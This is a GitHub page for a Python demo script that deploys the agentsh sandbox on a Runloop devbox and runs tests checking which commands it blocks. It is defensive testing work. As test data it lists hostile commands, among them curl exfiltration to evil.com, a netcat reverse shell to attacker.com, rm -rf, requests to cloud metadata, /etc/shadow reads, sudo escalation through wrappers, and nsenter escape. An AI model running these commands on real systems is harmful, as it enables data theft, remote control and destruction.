-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexample.py
More file actions
777 lines (728 loc) · 31.8 KB
/
example.py
File metadata and controls
777 lines (728 loc) · 31.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
#!/usr/bin/env python3
"""
agentsh + Runloop Security Demo
This script demonstrates the security features of agentsh running in a Runloop Devbox.
It creates a Blueprint with agentsh installed, launches a Devbox, and runs comprehensive
security tests covering AI agent protection, cloud infrastructure security, and
multi-tenant isolation.
Prerequisites:
pip install runloop-api-client
Usage:
export RUNLOOP_API_KEY="your-api-key"
python example.py
"""
import asyncio
import os
import sys
from pathlib import Path
# =============================================================================
# SECURITY TEST DEFINITIONS
# =============================================================================
SECURITY_TESTS = {
# =========================================================================
# A. DIAGNOSTICS - Verify security subsystems are active
# =========================================================================
"diagnostics": {
"title": "Security Diagnostics",
"description": "Verify agentsh security subsystems are active and configured",
"tests": [
{
"name": "agentsh version",
"command": "/usr/bin/agentsh --version",
"expect": "success",
"description": "agentsh binary is installed",
},
{
"name": "Server healthy",
"command": "curl -s http://127.0.0.1:18080/health",
"expect": "success",
"description": "agentsh server responds to health check",
},
{
"name": "Shell shim installed",
"command": "file /bin/bash",
"expect": "success",
"description": "Shell shim replaces /bin/bash",
},
{
"name": "Real bash preserved",
"command": "file /bin/bash.real",
"expect": "success",
"description": "Original bash binary preserved as /bin/bash.real",
},
{
"name": "FUSE mounted",
"command": "mount | grep -i -E 'agentsh|fuse' || echo 'FUSE NOT MOUNTED'",
"expect": "success",
"description": "FUSE filesystem interception is active",
},
{
"name": "BASH_ENV active",
"command": "echo $BASH_ENV",
"expect": "success",
"description": "BASH_ENV set to disable dangerous builtins",
},
{
"name": "HTTPS_PROXY set",
"command": "echo $HTTPS_PROXY",
"expect": "success",
"description": "Network traffic routed through agentsh proxy",
},
{
"name": "Policy file loaded",
"command": "head -5 /etc/agentsh/policies/default.yaml",
"expect": "success",
"description": "Default policy file is present",
},
{
"name": "Config file loaded",
"command": "head -5 /etc/agentsh/config.yaml",
"expect": "success",
"description": "Server config file is present",
},
{
"name": "agentsh detect",
"command": "/usr/bin/agentsh detect 2>&1",
"expect": "success",
"description": "Run agentsh detect to show available capabilities",
},
],
},
# =========================================================================
# B. AI AGENT CODE EXECUTION PROTECTION
# =========================================================================
"ai_agent": {
"title": "AI Agent Code Execution Protection",
"description": "Protect against malicious AI-generated code, prompt injection, and hallucinations",
"tests": [
{
"name": "Block recursive rm (AI hallucination)",
"command": "rm -rf /home 2>&1",
"expect": "blocked",
"description": "AI agent attempting destructive command",
},
{
"name": "Block data exfiltration",
"command": "curl -s https://evil.com/exfil 2>&1",
"expect": "blocked",
"description": "Prompt injection leading to data exfiltration",
},
{
"name": "Block reverse shell (nc)",
"command": "nc -e /bin/bash attacker.com 4444 2>&1",
"expect": "blocked",
"description": "Malicious code attempting reverse shell",
},
{
"name": "Block ssh",
"command": "ssh localhost 2>&1",
"expect": "blocked",
"description": "SSH connections blocked by policy",
},
],
},
# =========================================================================
# C. CLOUD/INFRASTRUCTURE PROTECTION
# =========================================================================
"cloud_infra": {
"title": "Cloud Infrastructure Protection",
"description": "Prevent SSRF, credential theft, and lateral movement in cloud environments",
"tests": [
{
"name": "Block AWS metadata service",
"command": "curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/ 2>&1",
"expect": "blocked",
"description": "Prevent SSRF to AWS instance metadata",
},
{
"name": "Block GCP metadata service",
"command": "curl -s --connect-timeout 2 -H 'Metadata-Flavor: Google' http://169.254.169.254/ 2>&1",
"expect": "blocked",
"description": "Prevent SSRF to GCP instance metadata",
},
{
"name": "Block internal network (10.x.x.x)",
"command": "curl -s --connect-timeout 2 http://10.0.0.1:8080/ 2>&1",
"expect": "blocked",
"description": "Prevent lateral movement to internal services",
},
{
"name": "Block internal network (172.16.x.x)",
"command": "curl -s --connect-timeout 2 http://172.16.0.1/ 2>&1",
"expect": "blocked",
"description": "Prevent lateral movement to private network",
},
{
"name": "Block Kubernetes API",
"command": "curl -sk --connect-timeout 2 https://kubernetes.default.svc/ 2>&1",
"expect": "blocked",
"description": "Prevent access to K8s control plane",
},
],
},
# =========================================================================
# D. MULTI-TENANT / DEVBOX ISOLATION
# =========================================================================
"isolation": {
"title": "Multi-Tenant Isolation",
"description": "Prevent container escape, privilege escalation, and resource abuse",
"tests": [
{
"name": "Block sudo",
"command": "sudo whoami 2>&1",
"expect": "blocked",
"description": "Prevent privilege escalation via sudo (requires unix_sockets wrapper)",
},
{
"name": "Block su",
"command": "su - root -c whoami 2>&1",
"expect": "blocked",
"description": "Prevent privilege escalation via su",
},
{
"name": "Block nsenter (container escape)",
"command": "nsenter --target 1 --mount 2>&1",
"expect": "blocked",
"description": "Prevent escape to host namespace",
},
{
"name": "Block docker command",
"command": "docker ps 2>&1",
"expect": "blocked",
"description": "Prevent Docker-in-Docker abuse",
},
{
"name": "Block pkill (process control)",
"command": "pkill -9 bash 2>&1",
"expect": "blocked",
"description": "Prevent killing processes",
},
{
"name": "Block kill -9 1",
"command": "kill -9 1 2>&1",
"expect": "blocked",
"description": "Prevent killing init process",
},
],
},
# =========================================================================
# E. FILE ACCESS CONTROL
# =========================================================================
"file_access": {
"title": "File Access Control",
"description": "Enforce read/write permissions on workspace, system, and sensitive paths",
"tests": [
{
"name": "Write to workspace (allowed)",
"command": "echo 'hello' > $HOME/test_write.txt && cat $HOME/test_write.txt",
"expect": "success",
"description": "Workspace write access works",
},
{
"name": "Read from workspace (allowed)",
"command": "cat $HOME/test_write.txt",
"expect": "success",
"description": "Workspace read access works",
},
{
"name": "Write to /tmp (allowed)",
"command": "echo 'temp' > /tmp/test_file.txt && cat /tmp/test_file.txt",
"expect": "success",
"description": "Temp directory write access works",
},
{
"name": "Read /usr/bin/ls (allowed)",
"command": "ls -la /usr/bin/ls 2>&1",
"expect": "success",
"description": "System binary stat access works",
},
{
"name": "Write to /etc (blocked)",
"command": "echo 'hack' > /etc/test_file 2>&1",
"expect": "blocked",
"description": "System config write blocked",
},
{
"name": "Write to /usr/bin (blocked)",
"command": "echo 'x' > /usr/bin/evil 2>&1",
"expect": "blocked",
"description": "System binary write blocked",
},
{
"name": "Write to /var (blocked)",
"command": "echo 'x' > /var/evil 2>&1",
"expect": "blocked",
"description": "System var write blocked",
},
],
},
# =========================================================================
# F. FUSE/LANDLOCK FILESYSTEM PROTECTION
# =========================================================================
"fuse_protection": {
"title": "Filesystem Protection (FUSE/Landlock)",
"description": "VFS-level file interception blocks writes to system paths, even from Python/cp/tee",
"tests": [
{
"name": "cp to /etc (blocked)",
"command": "cp /etc/hosts /etc/hosts_copy 2>&1",
"expect": "blocked",
"description": "Copy to system config blocked at VFS level",
},
{
"name": "touch /etc/newfile (blocked)",
"command": "touch /etc/newfile 2>&1",
"expect": "blocked",
"description": "File creation in /etc blocked",
},
{
"name": "tee write to /usr/bin (blocked)",
"command": "echo x | tee /usr/bin/evil 2>&1",
"expect": "blocked",
"description": "Tee write to system binary path blocked",
},
{
"name": "mkdir in /etc (blocked)",
"command": "mkdir /etc/testdir 2>&1",
"expect": "blocked",
"description": "Directory creation in /etc blocked",
},
{
"name": "Symlink escape to /etc/shadow (blocked)",
"command": "ln -sf /etc/shadow /tmp/shadow_link && cat /tmp/shadow_link 2>&1",
"expect": "blocked",
"description": "Symlink-based path traversal blocked",
},
{
"name": "Python read /etc/shadow (blocked)",
"command": "python3 -c \"print(open('/etc/shadow').read())\" 2>&1",
"expect": "blocked",
"description": "Python direct file read of sensitive path blocked",
},
{
"name": "Python write to /etc (blocked)",
"command": "python3 -c \"open('/etc/fuse_test','w').write('hack')\" 2>&1",
"expect": "blocked",
"description": "Python write to /etc blocked at VFS level",
},
{
"name": "Python write to /usr/bin (blocked)",
"command": "python3 -c \"open('/usr/bin/evil','w').write('x')\" 2>&1",
"expect": "blocked",
"description": "Python write to system binary path blocked",
},
{
"name": "Python list /root (blocked)",
"command": "python3 -c \"import os; print(os.listdir('/root'))\" 2>&1",
"expect": "blocked",
"description": "Python directory listing of /root blocked",
},
{
"name": "cp in workspace (allowed)",
"command": "echo 'original' > $HOME/cp_src.txt && cp $HOME/cp_src.txt $HOME/cp_dst.txt && cat $HOME/cp_dst.txt",
"expect": "success",
"description": "Copy within workspace works",
},
{
"name": "Python write to workspace (allowed)",
"command": "python3 -c \"import os; open(os.path.expanduser('~/py_test.txt'),'w').write('hello from python')\" && cat $HOME/py_test.txt",
"expect": "success",
"description": "Python file write to workspace works",
},
{
"name": "Python write to /tmp (allowed)",
"command": "python3 -c \"open('/tmp/py_test.txt','w').write('temp from python')\" && cat /tmp/py_test.txt",
"expect": "success",
"description": "Python file write to /tmp works",
},
],
},
# =========================================================================
# G. MULTI-CONTEXT COMMAND BLOCKING (bypass prevention)
# =========================================================================
"multi_context": {
"title": "Multi-Context Command Blocking",
"description": "Prevent privilege escalation via env, xargs, find -exec, scripts, and Python subprocess",
"tests": [
{
"name": "env sudo (blocked)",
"command": "env sudo whoami 2>&1",
"expect": "blocked",
"description": "sudo via env wrapper blocked (ptrace edge case: env does direct execve)",
},
{
"name": "xargs sudo (blocked)",
"command": "echo whoami | xargs sudo 2>&1",
"expect": "blocked",
"description": "sudo via xargs blocked",
},
{
"name": "find -exec sudo (blocked)",
"command": "out=$(find /tmp -maxdepth 0 -exec sudo whoami \\; 2>&1); echo \"$out\"; echo \"$out\" | grep -qx 'root' && exit 1 || exit 0",
"expect": "success",
"description": "sudo via find -exec blocked (seccomp)",
},
{
"name": "Nested script sudo (blocked)",
"command": "printf '#!/bin/sh\\nsudo whoami\\n' > /tmp/escalate.sh && chmod +x /tmp/escalate.sh && /tmp/escalate.sh 2>&1",
"expect": "blocked",
"description": "sudo in nested shell script blocked (ptrace edge case: /bin/sh child)",
},
{
"name": "Direct /usr/bin/sudo (blocked)",
"command": "/usr/bin/sudo whoami 2>&1",
"expect": "blocked",
"description": "Direct sudo binary path blocked",
},
{
"name": "Python subprocess sudo (blocked)",
"command": "python3 -c \"import subprocess, sys; r=subprocess.run(['sudo','whoami'], capture_output=True, text=True); print(r.stdout or r.stderr); sys.exit(r.returncode)\" 2>&1",
"expect": "blocked",
"description": "sudo via Python subprocess blocked",
},
{
"name": "Python os.system kill (blocked)",
"command": "python3 -c \"import os; os.system('kill -9 1')\" 2>&1",
"expect": "blocked",
"description": "kill via Python os.system blocked",
},
{
"name": "env whoami (allowed)",
"command": "env whoami 2>&1",
"expect": "success",
"description": "Safe command via env wrapper works",
},
{
"name": "Python subprocess ls (allowed)",
"command": "python3 -c \"import subprocess, os; r=subprocess.run(['ls', os.environ['HOME']], capture_output=True, text=True); print(r.stdout[:80])\" 2>&1",
"expect": "success",
"description": "Safe command via Python subprocess works",
},
],
},
# =========================================================================
# H. ALLOWED OPERATIONS (sanity checks)
# =========================================================================
"allowed": {
"title": "Allowed Operations",
"description": "Verify normal development operations work correctly",
"tests": [
{
"name": "Basic echo",
"command": "echo 'Hello from agentsh sandbox'",
"expect": "success",
"description": "Basic shell command",
},
{
"name": "List files",
"command": "ls -la /home",
"expect": "success",
"description": "File listing",
},
{
"name": "Git version",
"command": "git --version",
"expect": "success",
"description": "Git operations",
},
{
"name": "Bash execution",
"command": "bash -c 'echo $((1+1))'",
"expect": "success",
"description": "Bash code execution",
},
{
"name": "npm registry access",
"command": "curl -sI https://registry.npmjs.org/ 2>&1 | head -1",
"expect": "success",
"description": "Package registry access (allowed)",
},
],
},
# =========================================================================
# I. SOFT DELETE LIFECYCLE
# =========================================================================
"soft_delete": {
"title": "Soft Delete Lifecycle",
"description": "Verify file deletion behavior (soft-delete requires FUSE; without it files are deleted normally)",
"tests": [
{
"name": "Create file for soft-delete",
"command": "echo 'important data' > $HOME/soft_delete_test.txt && cat $HOME/soft_delete_test.txt",
"expect": "success",
"description": "Create test file in workspace",
},
{
"name": "rm file (soft-deleted if FUSE active)",
"command": "rm $HOME/soft_delete_test.txt 2>&1 && echo 'rm exited 0'",
"expect": "success",
"description": "File removed (quarantined if FUSE overlay active)",
},
{
"name": "File gone from original location",
"command": "test -f $HOME/soft_delete_test.txt && echo 'still exists' || echo 'file gone'",
"expect": "success",
"description": "File no longer visible at original path",
},
{
"name": "agentsh trash list",
"command": "/usr/bin/agentsh trash list 2>&1",
"expect": "success",
"description": "Check trash (shows file if FUSE active, empty otherwise)",
},
],
},
# =========================================================================
# J. NEW SECURITY FEATURES (v0.11+)
# =========================================================================
"new_security_features": {
"title": "New Security Features (v0.11+)",
"description": "Test transparent command unwrapping, threat feeds, and package scanning features",
"tests": [
{
"name": "nice sudo whoami (blocked)",
"command": "nice sudo whoami 2>&1",
"expect": "blocked",
"description": "Transparent unwrap: nice wrapping sudo is blocked",
},
{
"name": "nohup sudo whoami (blocked)",
"command": "nohup sudo whoami 2>&1",
"expect": "blocked",
"description": "Transparent unwrap: nohup wrapping sudo is blocked",
},
{
"name": "nice ls /home (allowed)",
"command": "nice ls /home 2>&1",
"expect": "success",
"description": "Transparent unwrap: nice wrapping safe ls is allowed",
},
],
},
# =========================================================================
# K. v0.16.8 HARDENING
# =========================================================================
"v0168_hardening": {
"title": "v0.16.8 Hardening",
"description": "Test hostname blocking, shell RC protection, and new syscall restrictions",
"tests": [
{
"name": "Block hostname change",
"command": "hostname evil-host 2>&1",
"expect": "blocked",
"description": "Hostname command blocked by policy",
},
{
"name": "Block domainname change",
"command": "domainname evil.com 2>&1",
"expect": "blocked",
"description": "Domain name change blocked by policy",
},
{
"name": "Block hostnamectl",
"command": "hostnamectl set-hostname evil 2>&1",
"expect": "blocked",
"description": "Hostnamectl blocked by policy",
},
{
"name": "Block write to /etc/hostname",
"command": "echo evil > /etc/hostname 2>&1",
"expect": "blocked",
"description": "Write to /etc/hostname blocked by file policy",
},
{
"name": "Block .bashrc modification",
"command": "echo 'malicious' >> $HOME/.bashrc 2>&1",
"expect": "blocked",
"description": "Shell RC file write blocked (persistence prevention)",
},
{
"name": "Block .profile modification",
"command": "echo 'malicious' >> $HOME/.profile 2>&1",
"expect": "blocked",
"description": "Profile file write blocked (persistence prevention)",
},
{
"name": "Block /etc/profile write",
"command": "echo 'malicious' >> /etc/profile 2>&1",
"expect": "blocked",
"description": "System profile write blocked",
},
{
"name": "Read .bashrc (allowed)",
"command": "cat $HOME/.bashrc 2>&1 | head -1",
"expect": "success",
"description": "Reading shell RC files is allowed",
},
],
},
}
async def main():
# Check for API key
if not os.environ.get("RUNLOOP_API_KEY"):
print("Error: RUNLOOP_API_KEY environment variable not set")
print("Get your API key from https://app.runloop.ai")
sys.exit(1)
try:
from runloop_api_client import AsyncRunloop
except ImportError:
print("Error: runloop-api-client not installed")
print("Run: pip install runloop-api-client")
sys.exit(1)
print("=" * 70)
print(" agentsh + Runloop Security Demo")
print("=" * 70)
# Read configuration files
script_dir = Path(__file__).parent
dockerfile = (script_dir / "Dockerfile").read_text()
default_yaml = (script_dir / "default.yaml").read_text()
config_yaml = (script_dir / "config.yaml").read_text()
# Initialize Runloop client
runloop = AsyncRunloop()
# -------------------------------------------------------------------------
# Step 1: Create Blueprint
# -------------------------------------------------------------------------
print("\n[1] Creating Blueprint with agentsh...")
print(" This may take a few minutes on first run (building image)")
blueprint = await runloop.blueprints.create(
name="agentsh-sandbox",
dockerfile=dockerfile,
file_mounts={
# Mount to /tmp during build (user-writable), copy to /etc at runtime
"/tmp/agentsh-config/default.yaml": default_yaml,
"/tmp/agentsh-config/config.yaml": config_yaml,
},
launch_parameters={
# Copy config files and install shell shim at runtime (with sudo)
"launch_commands": [
"sudo cp /tmp/agentsh-config/config.yaml /etc/agentsh/config.yaml",
"sudo cp /tmp/agentsh-config/default.yaml /etc/agentsh/policies/default.yaml",
# Install shim and chmod dangerous binaries in ONE sudo call,
# running BEFORE the shim activates (no policy enforcement yet).
"sudo /bin/bash -c '"
"agentsh shim install-shell --root / --shim /usr/bin/agentsh-shell-shim --bash-only --i-understand-this-modifies-the-host && "
"chmod 000 /usr/bin/sudo /usr/bin/su /usr/bin/pkexec /usr/bin/nsenter /usr/bin/unshare /usr/bin/chroot /usr/bin/kill /usr/bin/pkill /usr/bin/killall 2>/dev/null; "
"true'",
],
},
)
print(f" Blueprint ID: {blueprint.id}")
# Wait for blueprint build to complete
print(" Waiting for build to complete...")
while True:
info = await runloop.blueprints.retrieve(blueprint.id)
status = info.status
print(f" Status: {status}")
if status == "build_complete":
print(" Blueprint build complete!")
break
elif status == "build_failed":
# Try to get build logs
try:
logs = await runloop.blueprints.logs(blueprint.id)
print(f" Build logs: {logs}")
except Exception:
pass
raise Exception("Blueprint build failed")
await asyncio.sleep(5)
# -------------------------------------------------------------------------
# Step 2: Create Devbox from Blueprint
# -------------------------------------------------------------------------
print("\n[2] Creating Devbox from Blueprint...")
devbox = await runloop.devboxes.create(blueprint_id=blueprint.id)
print(f" Devbox ID: {devbox.id}")
# Wait for devbox to be running
print(" Waiting for Devbox to be ready...")
while True:
info = await runloop.devboxes.retrieve(devbox.id)
status = info.status
if status == "running":
print(" Devbox is running!")
break
elif status in ("failed", "shutdown"):
raise Exception(f"Devbox failed to start: {status}")
await asyncio.sleep(2)
# Wait for agentsh daemon to initialize
print(" Waiting for agentsh daemon to initialize...")
await asyncio.sleep(10)
# -------------------------------------------------------------------------
# Step 3: Run Security Tests
# -------------------------------------------------------------------------
try:
results = {"passed": 0, "failed": 0, "errors": 0}
for category_key, category in SECURITY_TESTS.items():
print(f"\n{'=' * 70}")
print(f" {category['title']}")
print(f" {category['description']}")
print("=" * 70)
for test in category["tests"]:
print(f"\n[TEST] {test['name']}")
print(f" {test['description']}")
print(f" Command: {test['command'][:60]}{'...' if len(test['command']) > 60 else ''}")
try:
result = await runloop.devboxes.execute_sync(
id=devbox.id,
command=test["command"],
timeout=30,
)
stdout = result.stdout or ""
stderr = result.stderr or ""
output = (stdout + stderr).strip()
# Truncate long output
if len(output) > 200:
output = output[:200] + "..."
exit_code = result.exit_status
# Determine if test passed based on expectation
if test["expect"] == "blocked":
# For blocked tests, we expect non-zero exit or error message
passed = (
exit_code != 0
or "blocked" in output.lower()
or "denied" in output.lower()
or "permission" in output.lower()
or "not permitted" in output.lower()
or "400" in output
or "not found" in output.lower()
)
elif test["expect"] == "success":
passed = exit_code == 0
else:
passed = True
status = "PASS" if passed else "FAIL"
results["passed" if passed else "failed"] += 1
print(f" Output: {output if output else '(no output)'}")
print(f" Exit code: {exit_code}")
print(f" Result: [{status}]")
except asyncio.TimeoutError:
print(" Error: Command timed out")
print(" Result: [ERROR]")
results["errors"] += 1
except Exception as e:
print(f" Error: {e}")
print(" Result: [ERROR]")
results["errors"] += 1
# -------------------------------------------------------------------------
# Summary
# -------------------------------------------------------------------------
print("\n" + "=" * 70)
print(" SUMMARY")
print("=" * 70)
print(f"""
Tests passed: {results['passed']}
Tests failed: {results['failed']}
Errors: {results['errors']}
Total: {results['passed'] + results['failed'] + results['errors']}
""")
finally:
# -------------------------------------------------------------------------
# Cleanup
# -------------------------------------------------------------------------
print("\n[CLEANUP] Shutting down Devbox...")
await runloop.devboxes.shutdown(devbox.id)
print(f" Devbox {devbox.id} shut down.")
# Optionally delete the blueprint
# print("[CLEANUP] Deleting Blueprint...")
# await runloop.blueprints.delete(blueprint.id)
# print(f" Blueprint {blueprint.id} deleted.")
if __name__ == "__main__":
asyncio.run(main())